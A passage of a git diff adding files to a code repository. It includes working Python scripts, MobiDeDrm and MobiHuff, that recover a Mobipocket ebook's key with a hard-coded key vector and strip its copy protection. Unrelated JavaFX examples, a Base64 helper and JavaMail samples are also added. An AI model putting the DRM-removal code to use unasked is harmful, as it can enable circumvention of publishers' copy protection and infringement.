+ def parseDRM(self, data, count, pid): + pid = pid.ljust(16,'\0') + keyvec1 = "\x72\x38\x33\xB0\xB4\xF2\xE3\xCA\xDF\x09\x01\xD6\xE2\xE0\x3F\x96" + temp_key = PC1(keyvec1, pid, False) + temp_key_sum = sum(map(ord,temp_key)) & 0xff + found_key = None + for i in xrange(count): + verification, size, type, cksum, cookie = struct.unpack('>LLLBxxx32s', data[i*0x30:i*0x30+0x30]) + cookie = PC1(temp_key, cookie) + ver,flags,finalkey,expiry,expiry2 = struct.unpack('>LL16sLL', cookie) + if verification == ver and cksum == temp_key_sum and (flags & 0x1F) == 1: + found_key = finalkey + break + return found_key + + + def __init__(self, data_file, pid): + + if checksumPid(pid[0:-2]) != pid: + raise DrmException("invalid PID checksum") + pid = pid[0:-2] + + self.data_file = data_file + header = data_file[0:72] + if header[0x3C:0x3C+8] != 'BOOKMOBI': + raise DrmException("invalid file format") + self.num_sections, = struct.unpack('>H', data_file[76:78]) + + self.sections = [] + for i in xrange(self.num_sections): + offset, a1,a2,a3,a4 = struct.unpack('>LBBBB', data_file[78+i*8:78+i*8+8]) + flags, val = a1, a2<<16|a3<<8|a4 + self.sections.append( (offset, flags, val) ) + + sect = self.loadSection(0) + records, = struct.unpack('>H', sect[0x8:0x8+2]) + + crypto_type, = struct.unpack('>H', sect[0xC:0xC+2]) + if crypto_type != 2: + raise DrmException("invalid encryption type: %d" % crypto_type) + + # calculate the keys + drm_ptr, drm_count, drm_size, drm_flags = struct.unpack('>LLLL', sect[0xA8:0xA8+16]) + found_key = self.parseDRM(sect[drm_ptr:drm_ptr+drm_size], drm_count, pid) + if not found_key: + raise DrmException("no key found. maybe the PID is incorrect") + + # kill the drm keys + self.patchSection(0, "\0" * drm_size, drm_ptr) + # kill the drm pointers + self.patchSection(0, "\xff" * 4 + "\0" * 12, 0xA8) + # clear the crypto type + self.patchSection(0, "\0" * 2, 0xC) + + # decrypt sections + print "Decrypting. Please wait...", + for i in xrange(1, records+1): + self.patchSection(i, PC1(found_key, self.loadSection(i))) + print "done" + def getResult(self): + return self.data_file + + + +print "MobiDeDrm v0.01. Copyright (c) 2008 The Dark Reverser" +if len(sys.argv)<4: + print "Removes protection from Mobipocket books" + print "Usage: mobidedrm infile.mobi outfile.mobi PID" +else: + infile = sys.argv[1] + outfile = sys.argv[2] + pid = sys.argv[3] + data_file = file(infile, 'rb').read() + try: + file(outfile, 'wb').write(DrmStripper(data_file, pid).getResult()) + except DrmException, e: + print "Error: %s" % e \ No newline at end of file diff --git a/src/Java/Cool_Reference_Projects/Mobi DeDRM/mobidedrm2.py b/src/Java/Cool_Reference_Projects/Mobi DeDRM/mobidedrm2.py new file mode 100644 index 0000000..717685f --- /dev/null +++ b/src/Java/Cool_Reference_Projects/Mobi DeDRM/mobidedrm2.py @@ -0,0 +1,178 @@ +# This is a python script. You need a Python interpreter to run it. +# For example, ActiveState Python, which exists for windows. +# +# Changelog +# 0.01 - Initial version +# 0.02 - Huffdic compressed books were not properly decrypted + +import sys,struct,binascii + +class DrmException(Exception): + pass + +#implementation of Pukall Cipher 1 +def PC1(key, src, decryption=True): + sum1 = 0; + sum2 = 0; + keyXorVal = 0; + if len(key)!=16: + print "Bad key length!" + return None + wkey = [] + for i in xrange(8): + wkey.append(ord(key[i*2])<<8 | ord(key[i*2+1])) + + dst = "" + for i in xrange(len(src)): + temp1 = 0; + byteXorVal = 0; + for j in xrange(8): + temp1 ^= wkey[j] + sum2 = (sum2+j)*20021 + sum1 + sum1 = (temp1*346)&0xFFFF + sum2 = (sum2+sum1)&0xFFFF + temp1 = (temp1*20021+1)&0xFFFF + byteXorVal ^= temp1 ^ sum2 + curByte = ord(src[i]) + if not decryption: + keyXorVal = curByte * 257; + curByte = ((curByte ^ (byteXorVal >> 8)) ^ byteXorVal) & 0xFF + if decryption: + keyXorVal = curByte * 257; + for j in xrange(8): + wkey[j] ^= keyXorVal; + dst+=chr(curByte) + return dst + +def checksumPid(s): + letters = "ABCDEFGHIJKLMNPQRSTUVWXYZ123456789" + crc = (~binascii.crc32(s,-1))&0xFFFFFFFF + crc = crc ^ (crc >> 16) + res = s + l = len(letters) + for i in (0,1): + b = crc & 0xff + pos = (b // l) ^ (b % l) + res += letters[pos%l] + crc >>= 8 + return res + +def getSizeOfTrailingDataEntries(ptr, size, flags): + def getSizeOfTrailingDataEntry(ptr, size): + bitpos, result = 0, 0 + while True: + v = ord(ptr[size-1]) + result |= (v & 0x7F) << bitpos + bitpos += 7 + size -= 1 + if (v & 0x80) != 0 or (bitpos >= 28) or (size == 0): + return result + num = 0 + flags >>= 1 + while flags: + if flags & 1: + num += getSizeOfTrailingDataEntry(ptr, size - num) + flags >>= 1 + return num + + +class DrmStripper: + def loadSection(self, section): + if (section + 1 == self.num_sections): + endoff = len(self.data_file) + else: + endoff = self.sections[section + 1][0] + off = self.sections[section][0] + return self.data_file[off:endoff] + + def patch(self, off, new): + self.data_file = self.data_file[:off] + new + self.data_file[off+len(new):] + + def patchSection(self, section, new, in_off = 0): + if (section + 1 == self.num_sections): + endoff = len(self.data_file) + else: + endoff = self.sections[section + 1][0] + off = self.sections[section][0] + assert off + in_off + len(new) <= endoff + self.patch(off + in_off, new) + + def parseDRM(self, data, count, pid): + pid = pid.ljust(16,'\0') + keyvec1 = "\x72\x38\x33\xB0\xB4\xF2\xE3\xCA\xDF\x09\x01\xD6\xE2\xE0\x3F\x96" + temp_key = PC1(keyvec1, pid, False) + temp_key_sum = sum(map(ord,temp_key)) & 0xff + found_key = None + for i in xrange(count): + verification, size, type, cksum, cookie = struct.unpack('>LLLBxxx32s', data[i*0x30:i*0x30+0x30]) + cookie = PC1(temp_key, cookie) + ver,flags,finalkey,expiry,expiry2 = struct.unpack('>LL16sLL', cookie) + if verification == ver and cksum == temp_key_sum and (flags & 0x1F) == 1: + found_key = finalkey + break + return found_key + + + def __init__(self, data_file, pid): + + if checksumPid(pid[0:-2]) != pid: + raise DrmException("invalid PID checksum") + pid = pid[0:-2] + + self.data_file = data_file + header = data_file[0:72] + if header[0x3C:0x3C+8] != 'BOOKMOBI': + raise DrmException("invalid file format") + self.num_sections, = struct.unpack('>H', data_file[76:78]) + + self.sections = [] + for i in xrange(self.num_sections): + offset, a1,a2,a3,a4 = struct.unpack('>LBBBB', data_file[78+i*8:78+i*8+8]) + flags, val = a1, a2<<16|a3<<8|a4 + self.sections.append( (offset, flags, val) ) + + sect = self.loadSection(0) + records, = struct.unpack('>H', sect[0x8:0x8+2]) + extra_data_flags, = struct.unpack('>L', sect[0xF0:0xF4]) + + crypto_type, = struct.unpack('>H', sect[0xC:0xC+2]) + if crypto_type != 2: + raise DrmException("invalid encryption type: %d" % crypto_type) + + # calculate the keys + drm_ptr, drm_count, drm_size, drm_flags = struct.unpack('>LLLL', sect[0xA8:0xA8+16]) + found_key = self.parseDRM(sect[drm_ptr:drm_ptr+drm_size], drm_count, pid) + if not found_key: + raise DrmException("no key found. maybe the PID is incorrect") + + # kill the drm keys + self.patchSection(0, "\0" * drm_size, drm_ptr) + # kill the drm pointers + self.patchSection(0, "\xff" * 4 + "\0" * 12, 0xA8) + # clear the crypto type + self.patchSection(0, "\0" * 2, 0xC) + + # decrypt sections + print "Decrypting. Please wait...", + for i in xrange(1, records+1): + data = self.loadSection(i) + extra_size = getSizeOfTrailingDataEntries(data, len(data), extra_data_flags) + self.patchSection(i, PC1(found_key, data[0:len(data) - extra_size])) + print "done" + def getResult(self): + return self.data_file + +print "MobiDeDrm v0.02. Copyright (c) 2008 The Dark Reverser" +if len(sys.argv)<4: + print "Removes protection from Mobipocket books" + print "Usage:" + print " mobidedrm infile.mobi outfile.mobi PID" +else: + infile = sys.argv[1] + outfile = sys.argv[2] + pid = sys.argv[3] + data_file = file(infile, 'rb').read() + try: + file(outfile, 'wb').write(DrmStripper(data_file, pid).getResult()) + except DrmException, e: + print "Error: %s" % e \ No newline at end of file diff --git a/src/Java/Cool_Reference_Projects/Mobi DeDRM/mobihuff.py b/src/Java/Cool_Reference_Projects/Mobi DeDRM/mobihuff.py new file mode 100644 index 0000000..9a1212c --- /dev/null +++ b/src/Java/Cool_Reference_Projects/Mobi DeDRM/mobihuff.py @@ -0,0 +1,168 @@ +# This is a python script. You need a Python interpreter to run it. +# For example, ActiveState Python, which exists for windows. +# +# Big Thanks to Igor SKOCHINSKY for providing me with all his information +# and source code relating to the inner workings of this compression scheme. +# Without it, I wouldn't be able to solve this as easily. +# +# Changelog +# 0.01 - Initial version +# 0.02 - Fix issue with size computing +# 0.03 - Fix issue with some files + + +import struct, sys + +class BitReader: + def __init__(self, data): + self.data, self.pos, self.nbits = data + "\x00\x00\x00\x00", 0, len(data) * 8 + def peek(self, n): + r, g = 0, 0 + while g < n: + r, g = (r << 8) | ord(self.data[(self.pos+g)>>3]), g + 8 - ((self.pos+g) & 7) + return (r >> (g - n)) & ((1 << n) - 1) + def eat(self, n): + self.pos += n + return self.pos <= self.nbits + def left(self): + return self.nbits - self.pos + +class HuffReader: + def __init__(self, huffs): + self.huffs = huffs + h = huffs[0] + if huffs[0][0:4] != 'HUFF' or huffs[0][4:8] != '\x00\x00\x00\x18': + raise ValueError('invalid huff1 header') + if huffs[1][0:4] != 'CDIC' or huffs[1][4:8] != '\x00\x00\x00\x10': + raise ValueError('invalid huff2 header') + self.entry_bits, = struct.unpack('>L', huffs[1][12:16]) + off1,off2 = struct.unpack('>LL', huffs[0][16:24]) + self.dict1 = struct.unpack('<256L', huffs[0][off1:off1+256*4]) + self.dict2 = struct.unpack('<64L', huffs[0][off2:off2+64*4]) + self.dicts = huffs[1:] + self.r = '' + + def _unpack(self, bits, depth = 0): + if depth > 32: + raise ValueError('corrupt file') + while bits.left(): + dw = bits.peek(32) + v = self.dict1[dw >> 24] + codelen = v & 0x1F + assert codelen != 0 + code = dw >> (32 - codelen) + r = (v >> 8) + if not (v & 0x80): + while code < self.dict2[(codelen-1)*2]: + codelen += 1 + code = dw >> (32 - codelen) + r = self.dict2[(codelen-1)*2+1] + r -= code + assert codelen != 0 + if not bits.eat(codelen): + return + dicno = r >> self.entry_bits + off1 = 16 + (r - (dicno << self.entry_bits)) * 2 + dic = self.dicts[dicno] + off2 = 16 + ord(dic[off1]) * 256 + ord(dic[off1+1]) + blen = ord(dic[off2]) * 256 + ord(dic[off2+1]) + slice = dic[off2+2:off2+2+(blen&0x7fff)] + if blen & 0x8000: + self.r += slice + else: + self._unpack(BitReader(slice), depth + 1) + + def unpack(self, data): + self.r = '' + self._unpack(BitReader(data)) + return self.r + +class Sectionizer: + def __init__(self, filename, ident): + self.contents = file(filename, 'rb').read() + self.header = self.contents[0:72] + self.num_sections, = struct.unpack('>H', self.contents[76:78]) + if self.header[0x3C:0x3C+8] != ident: + raise ValueError('Invalid file format') + self.sections = [] + for i in xrange(self.num_sections): + offset, a1,a2,a3,a4 = struct.unpack('>LBBBB', self.contents[78+i*8:78+i*8+8]) + flags, val = a1, a2<<16|a3<<8|a4 + self.sections.append( (offset, flags, val) ) + def loadSection(self, section): + if section + 1 == self.num_sections: + end_off = len(self.contents) + else: + end_off = self.sections[section + 1][0] + off = self.sections[section][0] + return self.contents[off:end_off] + + +def getSizeOfTrailingDataEntry(ptr, size): + bitpos, result = 0, 0 + while True: + v = ord(ptr[size-1]) + result |= (v & 0x7F) << bitpos + bitpos += 7 + size -= 1 + if (v & 0x80) != 0 or (bitpos >= 28) or (size == 0): + return result + +def getSizeOfTrailingDataEntries(ptr, size, flags): + num = 0 + flags >>= 1 + while flags: + if flags & 1: + num += getSizeOfTrailingDataEntry(ptr, size - num) + flags >>= 1 + return num + +def unpackBook(input_file): + sect = Sectionizer(input_file, 'BOOKMOBI') + + header = sect.loadSection(0) + + crypto_type, = struct.unpack('>H', header[0xC:0xC+2]) + if crypto_type != 0: + raise ValueError('The book is encrypted. Run mobidedrm first') + + if header[0:2] != 'DH': + raise ValueError('invalid compression type') + + extra_flags, = struct.unpack('>L', header[0xF0:0xF4]) + records, = struct.unpack('>H', header[0x8:0x8+2]) + + huffoff,huffnum = struct.unpack('>LL', header[0x70:0x78]) + huffs = [sect.loadSection(i) for i in xrange(huffoff, huffoff+huffnum)] + huff = HuffReader(huffs) + + def decompressSection(nr): + data = sect.loadSection(nr) + trail_size = getSizeOfTrailingDataEntries(data, len(data), extra_flags) + return huff.unpack(data[0:len(data)-trail_size]) + + r = '' + for i in xrange(1, records+1): + r += decompressSection(i) + return r + +print "MobiHuff v0.03" +print " Copyright (c) 2008 The Dark Reverser " +if len(sys.argv)!=3: + print "" + print "Description:" + print " Unpacks the new mobipocket huffdic compression." + print " This program works with unencrypted files only." + print "Usage:" + print " mobihuff.py infile.mobi outfile.html" +else: + infile = sys.argv[1] + outfile = sys.argv[2] + try: + print "Decompressing...", + result = unpackBook(infile) + file(outfile, 'wb').write(result) + print "done" + except ValueError, e: + print + print "Error: %s" % e \ No newline at end of file diff --git a/src/Java/Examples/001 - JavaFX - Basic Window/main.java b/src/Java/Examples/001 - JavaFX - Basic Window/main.java new file mode 100644 index 0000000..c6b3d1a --- /dev/null +++ b/src/Java/Examples/001 - JavaFX - Basic Window/main.java @@ -0,0 +1,31 @@ +import javafx.application.Application; +import javafx.stage.Stage; +import javafx.scene.Scene; +import javafx.scene.layout.Pane; +import javafx.scene.control.Button; + +public class main extends Application { + @Override + public void start(Stage stage) { + // declare button and pane + Pane pane = new Pane(); + Button close_button = new Button("Close"); + + // add the button to the pane + pane.getChildren().add(close_button); + + // generate the scene with the layout + Scene scene = new Scene(pane, 800, 600); + + // set stage stuff + stage.setTitle("Basic Window"); + stage.setScene(scene); + stage.setResizable(false); + stage.show(); + + close_button.setOnAction(e -> { + stage.close(); + }); + } + public static void main(String[] args) { launch(args); } +} diff --git a/src/Java/Examples/002 - JavaFX - Basic FXML Window/Main.java b/src/Java/Examples/002 - JavaFX - Basic FXML Window/Main.java new file mode 100644 index 0000000..c68c1d3 --- /dev/null +++ b/src/Java/Examples/002 - JavaFX - Basic FXML Window/Main.java @@ -0,0 +1,23 @@ +import javafx.application.Application; +import javafx.fxml.FXMLLoader; +import javafx.stage.Stage; +import javafx.scene.Scene; +import javafx.scene.layout.AnchorPane; + + + +public class Main extends Application { + @Override + public void start(final Stage stage) throws Exception { + Scene scene = new Scene(FXMLLoader.load(Main.class.getResource("window.fxml"))); + scene.getStylesheets().add("stylesheet.css"); + stage.setScene(scene); + //stage.setResizable(false); // keeps window from resizing + stage.setTitle("Image Viewer"); + stage.setMinWidth(300); + stage.setMinHeight(300); + stage.show(); + } + // needed because you know... it's java. + public static void main(String[] args) { launch(args); } +} diff --git a/src/Java/Examples/002 - JavaFX - Basic FXML Window/stylesheet.css b/src/Java/Examples/002 - JavaFX - Basic FXML Window/stylesheet.css new file mode 100644 index 0000000..cf3a3b2 --- /dev/null +++ b/src/Java/Examples/002 - JavaFX - Basic FXML Window/stylesheet.css @@ -0,0 +1,5 @@ +.root { + -fx-background: rgba(68, 68, 68, 0.8); // == #444444; +} +.button { +} diff --git a/src/Java/Examples/002 - JavaFX - Basic FXML Window/window.fxml b/src/Java/Examples/002 - JavaFX - Basic FXML Window/window.fxml new file mode 100644 index 0000000..42ebb3c --- /dev/null +++ b/src/Java/Examples/002 - JavaFX - Basic FXML Window/window.fxml @@ -0,0 +1,12 @@ + + + + + + + + + + + + diff --git a/src/Java/Examples/003 - JavaFX - Transparent Window/main.java b/src/Java/Examples/003 - JavaFX - Transparent Window/main.java new file mode 100644 index 0000000..287e6d7 --- /dev/null +++ b/src/Java/Examples/003 - JavaFX - Transparent Window/main.java @@ -0,0 +1,34 @@ +import javafx.application.Application; +import javafx.stage.Stage; +import javafx.stage.StageStyle; +import javafx.scene.Scene; +import javafx.scene.layout.Pane; +import javafx.scene.control.Button; + + +public class main extends Application { + + @Override + public void start(Stage stage) { + stage.initStyle(StageStyle.TRANSPARENT); + Pane box = new Pane(); + box.setStyle("-fx-background-color: rgba(68, 68, 69, 0.8)"); + Button bttn = new Button("Close"); + + box.getChildren().add(bttn); + final Scene scene = new Scene(box,300, 250); + scene.setFill(null); + stage.setScene(scene); + stage.show(); + + bttn.setOnAction(e -> { + stage.close(); + }); + } + + public static void main(String[] args) { + launch(args); + } +} + + diff --git a/src/Java/Examples/Helper_Classes/Base64Coder.java b/src/Java/Examples/Helper_Classes/Base64Coder.java new file mode 100644 index 0000000..c08a3e5 --- /dev/null +++ b/src/Java/Examples/Helper_Classes/Base64Coder.java @@ -0,0 +1,161 @@ +// Copyright 2003-2009 Christian d'Heureuse, Inventec Informatik AG, Zurich, Switzerland +// www.source-code.biz, www.inventec.ch/chdh +// +// This module is multi-licensed and may be used under the terms +// of any of the following licenses: +// +// EPL, Eclipse Public License, http://www.eclipse.org/legal +// LGPL, GNU Lesser General Public License, http://www.gnu.org/licenses/lgpl.html +// AL, Apache License, http://www.apache.org/licenses +// BSD, BSD License, http://www.opensource.org/licenses/bsd-license.php +// +// Please contact the author if you need another license. +// This module is provided "as is", without warranties of any kind. + + +/** +* A Base64 Encoder/Decoder. +* +*

+* This class is used to encode and decode data in Base64 format as described in RFC 1521. +* +*

+* Home page: www.source-code.biz
+* Author: Christian d'Heureuse, Inventec Informatik AG, Zurich, Switzerland
+* Multi-licensed: EPL/LGPL/AL/BSD. +* +*

+* Version history:
+* 2003-07-22 Christian d'Heureuse (chdh): Module created.
+* 2005-08-11 chdh: Lincense changed from GPL to LGPL.
+* 2006-11-21 chdh:
+*   Method encode(String) renamed to encodeString(String).
+*   Method decode(String) renamed to decodeString(String).
+*   New method encode(byte[],int) added.
+*   New method decode(String) added.
+* 2009-07-16: Additional licenses (EPL/AL) added.
+* 2009-09-16: Additional license (BSD) added.
+* 2009-09-16: Additional license (BSD) added.
+* 2010-01-27: Package name added.
+*/ + +public class Base64Coder { + +// Mapping table from 6-bit nibbles to Base64 characters. +private static char[] map1 = new char[64]; + static { + int i=0; + for (char c='A'; c<='Z'; c++) map1[i++] = c; + for (char c='a'; c<='z'; c++) map1[i++] = c; + for (char c='0'; c<='9'; c++) map1[i++] = c; + map1[i++] = '+'; map1[i++] = '/'; } + +// Mapping table from Base64 characters to 6-bit nibbles. +private static byte[] map2 = new byte[128]; + static { + for (int i=0; iin. +* @return A character array with the Base64 encoded data. +*/ +public static char[] encode (byte[] in, int iLen) { + int oDataLen = (iLen*4+2)/3; // output length without padding + int oLen = ((iLen+2)/3)*4; // output length including padding + char[] out = new char[oLen]; + int ip = 0; + int op = 0; + while (ip < iLen) { + int i0 = in[ip++] & 0xff; + int i1 = ip < iLen ? in[ip++] & 0xff : 0; + int i2 = ip < iLen ? in[ip++] & 0xff : 0; + int o0 = i0 >>> 2; + int o1 = ((i0 & 3) << 4) | (i1 >>> 4); + int o2 = ((i1 & 0xf) << 2) | (i2 >>> 6); + int o3 = i2 & 0x3F; + out[op++] = map1[o0]; + out[op++] = map1[o1]; + out[op] = op < oDataLen ? map1[o2] : '='; op++; + out[op] = op < oDataLen ? map1[o3] : '='; op++; } + return out; } + +/** +* Decodes a string from Base64 format. +* @param s a Base64 String to be decoded. +* @return A String containing the decoded data. +* @throws IllegalArgumentException if the input is not valid Base64 encoded data. +*/ +public static String decodeString (String s) { + return new String(decode(s)); } + +/** +* Decodes a byte array from Base64 format. +* @param s a Base64 String to be decoded. +* @return An array containing the decoded data bytes. +* @throws IllegalArgumentException if the input is not valid Base64 encoded data. +*/ +public static byte[] decode (String s) { + return decode(s.toCharArray()); } + +/** +* Decodes a byte array from Base64 format. +* No blanks or line breaks are allowed within the Base64 encoded data. +* @param in a character array containing the Base64 encoded data. +* @return An array containing the decoded data bytes. +* @throws IllegalArgumentException if the input is not valid Base64 encoded data. +*/ +public static byte[] decode (char[] in) { + int iLen = in.length; + if (iLen%4 != 0) throw new IllegalArgumentException ("Length of Base64 encoded input string is not a multiple of 4."); + while (iLen > 0 && in[iLen-1] == '=') iLen--; + int oLen = (iLen*3) / 4; + byte[] out = new byte[oLen]; + int ip = 0; + int op = 0; + while (ip < iLen) { + int i0 = in[ip++]; + int i1 = in[ip++]; + int i2 = ip < iLen ? in[ip++] : 'A'; + int i3 = ip < iLen ? in[ip++] : 'A'; + if (i0 > 127 || i1 > 127 || i2 > 127 || i3 > 127) + throw new IllegalArgumentException ("Illegal character in Base64 encoded data."); + int b0 = map2[i0]; + int b1 = map2[i1]; + int b2 = map2[i2]; + int b3 = map2[i3]; + if (b0 < 0 || b1 < 0 || b2 < 0 || b3 < 0) + throw new IllegalArgumentException ("Illegal character in Base64 encoded data."); + int o0 = ( b0 <<2) | (b1>>>4); + int o1 = ((b1 & 0xf)<<4) | (b2>>>2); + int o2 = ((b2 & 3)<<6) | b3; + out[op++] = (byte)o0; + if (op + * + * This stream can be used with the Part.writeTo and Message.writeTo + * methods to generate the canonical MIME format of the data for the + * purpose of (e.g.) sending it via SMTP or computing a digital + * signature. + */ +public class CRLFOutputStream extends FilterOutputStream { + protected int lastb = -1; + protected static byte[] newline; + static { + newline = new byte[2]; + newline[0] = (byte)'\r'; + newline[1] = (byte)'\n'; + } + + public CRLFOutputStream(OutputStream os) { + super(os); + } + + public void write(int b) throws IOException { + if (b == '\r') { + out.write(newline); + } else if (b == '\n') { + if (lastb != '\r') + out.write(newline); + } else { + out.write(b); + } + lastb = b; + } + + public void write(byte b[]) throws IOException { + write(b, 0, b.length); + } + + public void write(byte b[], int off, int len) throws IOException { + int start = off; + + len += off; + for (int i = start; i < len ; i++) { + if (b[i] == '\r') { + out.write(b, start, i - start); + out.write(newline); + start = i + 1; + } else if (b[i] == '\n') { + if (lastb != '\r') { + out.write(b, start, i - start); + out.write(newline); + } + start = i + 1; + } + lastb = b[i]; + } + if ((len - start) > 0) + out.write(b, start, len - start); + } +} diff --git a/src/Java/Jars/javamail-samples/javamail-samples/NewlineOutputStream.java b/src/Java/Jars/javamail-samples/javamail-samples/NewlineOutputStream.java new file mode 100644 index 0000000..0b17d10 --- /dev/null +++ b/src/Java/Jars/javamail-samples/javamail-samples/NewlineOutputStream.java @@ -0,0 +1,82 @@ +/* + * Copyright (c) 1997-2010 Oracle and/or its affiliates. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * + * - Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * + * - Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * - Neither the name of Oracle nor the names of its + * contributors may be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS + * IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, + * THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR + * PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR + * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, + * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, + * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR + * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF + * LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING + * NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ + +import java.io.*; + +/** + * Convert the various newline conventions to the local platform's + * newline convention.

+ * + * This stream can be used with the Message.writeTo method to + * generate a message that uses the local plaform's line terminator + * for the purpose of (e.g.) saving the message to a local file. + */ +public class NewlineOutputStream extends FilterOutputStream { + private int lastb = -1; + private static byte[] newline; + + public NewlineOutputStream(OutputStream os) { + super(os); + if (newline == null) { + String s = System.getProperty("line.separator"); + if (s == null || s.length() <= 0) + s = "\n"; + try { + newline = s.getBytes("iso-8859-1"); // really us-ascii + } catch (UnsupportedEncodingException ex) { + // should never happen + newline = new byte[] { (byte)'\n' }; + } + } + } + + public void write(int b) throws IOException { + if (b == '\r') { + out.write(newline); + } else if (b == '\n') { + if (lastb != '\r') + out.write(newline); + } else { + out.write(b); + } + lastb = b; + } + + public void write(byte b[]) throws IOException { + write(b, 0, b.length); + } + + public void write(byte b[], int off, int len) throws IOException { + for (int i = 0 ; i < len ; i++) { + write(b[off + i]); + } + } +} diff --git a/src/Java/Jars/javamail-samples/javamail-samples/README.txt b/src/Java/Jars/javamail-samples/javamail-samples/README.txt new file mode 100644 index 0000000..781d064 --- /dev/null +++ b/src/Java/Jars/javamail-samples/javamail-samples/README.txt @@ -0,0 +1,384 @@ + README for the demo programs in this directory + ============================================== + +These demo programs illustrate how to use the JavaMail API to +perform a number of common email functions. Note these these +programs are not intended to be examples of good user interfaces, +or good command line interfaces. No one is expected to actually +*use* these programs for anything real. Rather, their value is +in the source code. Don't look at their command line arguments +or user interface to figure out what JavaMail can do, look at +their source code. We strongly recommend that you read the +source code and understand what these programs are doing before +running them. + +All of these programs are simple command line tools with a UNIX +style interface. On Windows you'll need to run them in an MS-DOS +window. We apologize in advance for the inconsistency in how these +programs accept options. There are generally two styles. The very +simple style (e.g., as used by copier.java) requires a fixed number +of arguments in a fixed order. Others (e.g., folderlist.java) take +UNIX-style options, many of which are optional, and which may appear +in any order. The following notes should help you figure it out, +but if in doubt, read the source code. + + + +- copier.java + + This program copies the specified messages from one folder to + another. Both folders must belong to the same store. + + Usage: + java copier + + Arguments (in order): + + : URL of the Store. The URL should include + the password as well (if needed). + Example: "imap://john:password@mailstore.com" + + : source folder + : destination folder + : start message number + : end message number + + +- folderlist.java + + This program lists information about the folders in a Store. + + Usage: + java folderlist -L -T -H -U -P + [-R ] [-r] [-v] [-D] + + Options: + + -L : URL of the Store. The URL should include + the password as well (if needed). + Example: "imap://john:password@mailstore.com" + -T : store protocol (Ex: "imap") + -H : hostname of store. + -U : username (if needed) + -P : password (if needed) + -R : root of the folder hierarchy. This is optional. If + not present, listing starts from the default folder. + -r : list recursively - folder and all subfolders. + -v : verbose - show more info about each folder. + -D : Turn on session debugging + : folders that match this pattern are listed. Use "*" + as wildcard to match everything. + + +- monitor.java + + Illustrates how to monitor a folder for interesting events, + like new mail arrival. + + Usage: + java monitor + + Arguments (in order): + + : hostname of store. + : username (if needed) + : password (if needed) + : folder to monitor + : frequency of monitoring + + +- mover.java + + Moves messages between folders. The folders must belong to the + same store. + + Usage: + java mover -T -H -U -P [-v] + -s -d [-x] + + Options: + + -T : store protocol (Ex: "imap") + -H : hostname of store. + -U : username (if needed) + -P : password (if needed) + -s : source folder + -d : destination folder + -v : Optional verbose option + -x : Optional expunge option, to expunge the deleted + messages from src + + Arguments (in order): + + : start message number + : end message number + + +- msgmultisendsample.java + + Demonstrates how to construct and send a multipart message. + + Usage: + java msgmultisendsample true|false + + Arguments (in order): + + : Recipient address + : Sender address + : name of SMTP server + true|false : "true" to turn on session debugging, "false" otherwise + + +- msgsend.java + + Send a simple text message. Optionally saves a copy + of the outgoing message in a folder (record-folder). + + Most parameters to this program are optional. When + the program is run, it interactively asks for + the "To" and "Subject" fields if not already available. + Then the program expects the body of the message. + After you type in the body, hit Ctrl-D on Unix + systems or Ctrl-Z on Windows systems to send + the message. + + Usage: + java msgsend -L -T -H -U + -P -s -o -c -b + -f -M [-d] + + Options: + + -L : URL of the store for the record-folder + -T : If is not present, this indicates + the store protocol for the record-folder. + -H : If is not present, this indicates + the hostname for the record-folder. + -U : If is not present, this indicates + the username for the record-folder. + -P : If is not present, this indicates + the password for the record-folder. + -f : name of record-folder. + -M : Host name of SMTP server. Defaults to "localhost" + which often works on UNIX but rarely on Windows. + -s : Subject of message to be sent + -o : From address of message to be sent + -c : Cc address of message to be sent + -b : Bcc address of message to be sent + -d : Turn on session debugging. + -a : Include file as an attachment with the message + + Argument: + + : To address of message to be sent + + +- msgsendsample.java + + Demonstrates how to construct and send a simple text message. + + Usage: + java msgsendsample true|false + + Arguments (in order): + + : Recipient address + : Sender address + : name of SMTP server + true|false : "true" to turn on session debugging, "false" otherwise + + +- msgshow.java + + Displays message(s) from a folder or from stdin. + + Usage: + java msgshow -L -T -H -p + -U -P -f + [-D] [-s] [-S] [-a] [-v] [msgnum] + java msgshow -m [-D] [-s] [-S] [-v] + + Options: + + -L : URL of the Store. The URL should include + the password as well (if needed). + Example: "imap://john:password@mailstore.com" + -T : If is not present, this indicates + the store protocol + -H : If is not present, this indicates + the hostname + -p : If is not present, this indicates + the port number (usually not needed) + -U : If is not present, this indicates + the username + -P : If is not present, this indicates + the password + -f : Folder to open + -m : Read message from standard input + -D : Turn on session debugging + -s : Show the structure of the message, but not the contents + -S : Save attachments to appropriately named files + -a : Show ALERTS and NOTIFICATIONS from the Store + -v : Verbose mode - show total messages and number of new messages + + Argument: + + : the message to be displayed. If this + parameter is not present, all messages in the + folder are displayed. + + +- namespace.java + + Displays the namespaces supported by a store. + + Usage: + java namespace -L -T -H -p + -U -P [-D] + + Options: + + -L : URL of the Store. The URL should include + the password as well (if needed). + Example: "imap://john:password@mailstore.com" + -T : If is not present, this indicates + the store protocol + -H : If is not present, this indicates + the hostname + -p : If is not present, this indicates + the port number (usually not needed) + -U : If is not present, this indicates + the username + -P : If is not present, this indicates + the password + -D : Turn on session debugging + + +- populate.java + + Copies an entire folder hierarchy from one message store to + another. + + Usage: + java populate -s -d -D -f + + Options: + + -s : URL of source folder + -d : URL of destination folder + -D : Turn on session debugging + -f : force the copy to occur even if 